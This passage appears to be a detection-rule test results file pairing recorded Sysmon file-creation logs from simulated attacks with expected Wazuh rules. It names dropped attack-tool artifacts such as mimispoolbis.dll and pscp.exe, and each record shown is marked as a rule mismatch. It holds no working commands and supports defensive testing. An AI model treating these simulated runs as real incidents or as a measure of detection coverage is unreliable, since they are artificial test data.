C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe\\r\\nCreationUtcTime: 2021-10-01 14:48:12.284\\\"\",\"version\":\"2\",\"systemTime\":\"2021-10-01T14:48:12.2895098Z\",\"eventRecordID\":\"403833\",\"threadID\":\"3916\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2440\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-01 14:48:12.284", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-1e3a-6157-a82a-160000000000}", "win.eventdata.processId": "7644", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRed\\\\samcat.exe", "win.eventdata.utcTime": "2021-10-01 14:48:12.284", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "403833", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2440", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-01T14:48:12.2895098Z", "win.system.task": "11", "win.system.threadID": "3916", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92203", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Executable file created by powershell"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-3136-609c-2c01-000000003b00}\",\"processId\":\"1488\",\"utcTime\":\"2021-05-12 19:53:22.467\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\pscp.exe\",\"creationUtcTime\":\"2021-05-12 19:53:22.467\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-05-12 19:53:22.467\\r\\nProcessGuid: {4dc16835-3136-609c-2c01-000000003b00}\\r\\nProcessId: 1488\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\pscp.exe\\r\\nCreationUtcTime: 2021-05-12 19:53:22.467\\\"\",\"version\":\"2\",\"systemTime\":\"2021-05-12T19:53:22.4784997Z\",\"eventRecordID\":\"198839\",\"threadID\":\"3320\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2080\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-05-12 19:53:22.467", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-3136-609c-2c01-000000003b00}", "win.eventdata.processId": "1488", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\pscp.exe", "win.eventdata.utcTime": "2021-05-12 19:53:22.467", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "198839", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2080", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-05-12T19:53:22.4784997Z", "win.system.task": "11", "win.system.threadID": "3320", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92204", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Powershell process created executable file in AppData temp folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\spoolsv.exe\",\"processGuid\":\"{4dc16835-6534-60ec-92a4-010000000000}\",\"processId\":\"1912\",\"utcTime\":\"2021-07-12 15:58:13.001\",\"targetFilename\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\spool\\\\\\\\drivers\\\\\\\\x64\\\\\\\\3\\\\\\\\New\\\\\\\\mimispoolbis.dll\",\"ruleName\":\"technique_id=T1047,technique_name=File System Permissions Weakness\",\"creationUtcTime\":\"2021-07-12 15:58:13.001\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1047,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-07-12 15:58:13.001\\r\\nProcessGuid: {4dc16835-6534-60ec-92a4-010000000000}\\r\\nProcessId: 1912\\r\\nImage: C:\\\\Windows\\\\System32\\\\spoolsv.exe\\r\\nTargetFilename: C:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\New\\\\mimispoolbis.dll\\r\\nCreationUtcTime: 2021-07-12 15:58:13.001\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-12T15:58:13.0067714Z\",\"eventRecordID\":\"267528\",\"threadID\":\"3548\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2092\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-12 15:58:13.001", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\spoolsv.exe", "win.eventdata.processGuid": "{4dc16835-6534-60ec-92a4-010000000000}", "win.eventdata.processId": "1912", "win.eventdata.ruleName": "technique_id=T1047,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\New\\\\mimispoolbis.dll", "win.eventdata.utcTime": "2021-07-12 15:58:13.001", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "267528", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2092", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-12T15:58:13.0067714Z", "win.system.task": "11", "win.system.threadID": "3548", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92206", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "DLL file created by printer spool service"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\",\"processGuid\":\"{4dc16835-41b5-60ef-7a00-000000001100}\",\"processId\":\"2860\",\"utcTime\":\"2021-07-14 20:21:04.678\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.vbs\",\"creationUtcTime\":\"2021-07-14 20:21:04.678\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-07-14 20:21:04.678\\r\\nProcessGuid: {4dc16835-41b5-60ef-7a00-000000001100}\\r\\nProcessId: 2860\\r\\nImage: C:\\\\Windows\\\\system32\\\\cmd.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\Java-Update.vbs\\r\\nCreationUtcTime: 2021-07-14 20:21:04.678\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T20:21:04.6849507Z\",\"eventRecordID\":\"28558\",\"threadID\":\"1272\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"5364\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-14 20:21:04.678", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\cmd.exe", "win.eventdata.processGuid": "{4dc16835-41b5-60ef-7a00-000000001100}", "win.eventdata.processId": "2860", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\Java-Update.vbs", "win.eventdata.utcTime": "2021-07-14 20:21:04.678", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "28558", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "5364", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T20:21:04.6849507Z", "win.system.task": "11", "win.system.threadID": "1272", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92207", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Binary file dropped in Users\\Public folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\OpenSSH\\\\\\\\scp.exe\",\"processGuid\":\"{4dc16835-44ed-60ef-bdc3-4d0000000000}\",\"processId\":\"3144\",\"utcTime\":\"2021-07-14 20:11:27.810\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.exe\",\"creationUtcTime\":\"2021-07-14 20:03:07.766\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-07-14 20:11:27.810\\r\\nProcessGuid: {4dc16835-44ed-60ef-bdc3-4d0000000000}\\r\\nProcessId: 3144\\r\\nImage: C:\\\\Windows\\\\System32\\\\OpenSSH\\\\scp.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\Java-Update.exe\\r\\nCreationUtcTime: 2021-07-14 20:03:07.766\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T20:11:27.8528377Z\",\"eventRecordID\":\"28453\",\"threadID\":\"1272\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"5364\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-14 20:03:07.766", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\OpenSSH\\\\scp.exe", "win.eventdata.processGuid": "{4dc16835-44ed-60ef-bdc3-4d0000000000}", "win.eventdata.processId": "3144", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\Java-Update.exe", "win.eventdata.utcTime": "2021-07-14 20:11:27.810", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "28453", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "5364", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T20:11:27.8528377Z", "win.system.task": "11", "win.system.threadID": "1272", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92208", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Binary file dropped in Users\\Public folder via SSH"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-8df4-60f5-367c-340000000000}\",\"processId\":\"5016\",\"utcTime\":\"2021-07-19 14:39:32.595\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\DefenderUpgradeExec.exe\",\"creationUtcTime\":\"2021-07-19 14:39:32.595\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-07-19 14:39:32.595\\r\\nProcessGuid: {4dc16835-8df4-60f5-367c-340000000000}\\r\\nProcessId: 5016\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Temp\\\\DefenderUpgradeExec.exe\\r\\nCreationUtcTime: 2021-07-19 14:39:32.595\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-19T14:39:32.6032653Z\",\"eventRecordID\":\"274778\",\"threadID\":\"3736\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2420\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-19 14:39:32.595", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-8df4-60f5-367c-340000000000}", "win.eventdata.processId": "5016", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Temp\\\\DefenderUpgradeExec.exe", "win.eventdata.utcTime": "2021-07-19 14:39:32.595", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "274778", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2420", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-19T14:39:32.6032653Z", "win.system.task": "11", "win.system.threadID": "3736", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92213", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Executable file dropped in folder commonly used by malware"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\",\"processGuid\":\"{4dc16835-41b5-60ef-7a00-000000001100}\",\"processId\":\"2860\",\"utcTime\":\"2021-07-14 20:21:04.678\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.vbs\",\"creationUtcTime\":\"2021-07-14 20:21:04.678\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-07-14 20:21:04.678\\r\\nProcessGuid: {4dc16835-41b5-60ef-7a00-000000001100}\\r\\nProcessId: 2860\\r\\nImage: C:\\\\Windows\\\\system32\\\\cmd.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\Java-Update.vbs\\r\\nCreationUtcTime: 2021-07-14 20:21:04.678\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T20:21:04.6849507Z\",\"eventRecordID\":\"28558\",\"threadID\":\"1272\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"5364\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-14 20:21:04.678", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\cmd.exe", "win.eventdata.processGuid": "{4dc16835-41b5-60ef-7a00-000000001100}", "win.eventdata.processId": "2860", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\Java-Update.vbs", "win.eventdata.utcTime": "2021-07-14 20:21:04.678", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "28558", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "5364", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T20:21:04.6849507Z", "win.system.task": "11", "win.system.threadID": "1272", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92207", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "drop binary in public folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-00b8-60fa-0056-290000000000}\",\"processId\":\"4564\",\"utcTime\":\"2021-07-22 23:37:02.829\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\tightvnc-2.8.27-gpl-setup-64bit.msi\",\"ruleName\":\"technique_id=T1047,technique_name=File System Permissions Weakness\",\"creationUtcTime\":\"2021-07-22 23:37:02.829\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1047,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-07-22 23:37:02.829\\r\\nProcessGuid: {4dc16835-00b8-60fa-0056-290000000000}\\r\\nProcessId: 4564\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\tightvnc-2.8.27-gpl-setup-64bit.msi\\r\\nCreationUtcTime: 2021-07-22 23:37:02.829\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-22T23:37:02.8319616Z\",\"eventRecordID\":\"302090\",\"threadID\":\"3456\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2320\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-22 23:37:02.829", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-00b8-60fa-0056-290000000000}", "win.eventdata.processId": "4564", "win.eventdata.ruleName": "technique_id=T1047,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\tightvnc-2.8.27-gpl-setup-64bit.msi", "win.eventdata.utcTime": "2021-07-22 23:37:02.829", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "302090", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2320", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-22T23:37:02.8319616Z", "win.system.task": "11", "win.system.threadID": "3456", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92207", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "drop binary in public folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-00b8-60fa-0056-290000000000}\",\"processId\":\"4564\",\"utcTime\":\"2021-07-22 23:40:12.626\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\vnc-settings.reg\",\"ruleName\":\"technique_id=T1047,technique_name=File System Permissions Weakness\",\"creationUtcTime\":\"2021-07-22 23:40:12.626\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1047,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-07-22 23:40:12.626\\r\\nProcessGuid: {4dc16835-00b8-60fa-0056-290000000000}\\r\\nProcessId: 4564\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\Public\\\\vnc-settings.reg\\r\\nCreationUtcTime: 2021-07-22 23:40:12.626\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-22T23:40:12.6279906Z\",\"eventRecordID\":\"302217\",\"threadID\":\"3456\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2320\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-07-22 23:40:12.626", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-00b8-60fa-0056-290000000000}", "win.eventdata.processId": "4564", "win.eventdata.ruleName": "technique_id=T1047,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Users\\\\Public\\\\vnc-settings.reg", "win.eventdata.utcTime": "2021-07-22 23:40:12.626", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "302217", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2320", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-22T23:40:12.6279906Z", "win.system.task": "11", "win.system.threadID": "3456", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92209", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "drop .reg in public folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-fc27-6140-8277-6d0000000000}\",\"processId\":\"6760\",\"utcTime\":\"2021-09-14 19:49:13.528\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\rad353F7.ps1\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"creationUtcTime\":\"2021-09-14 19:49:13.528\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-09-14 19:49:13.528\\r\\nProcessGuid: {4dc16835-fc27-6140-8277-6d0000000000}\\r\\nProcessId: 6760\\r\\nImage: 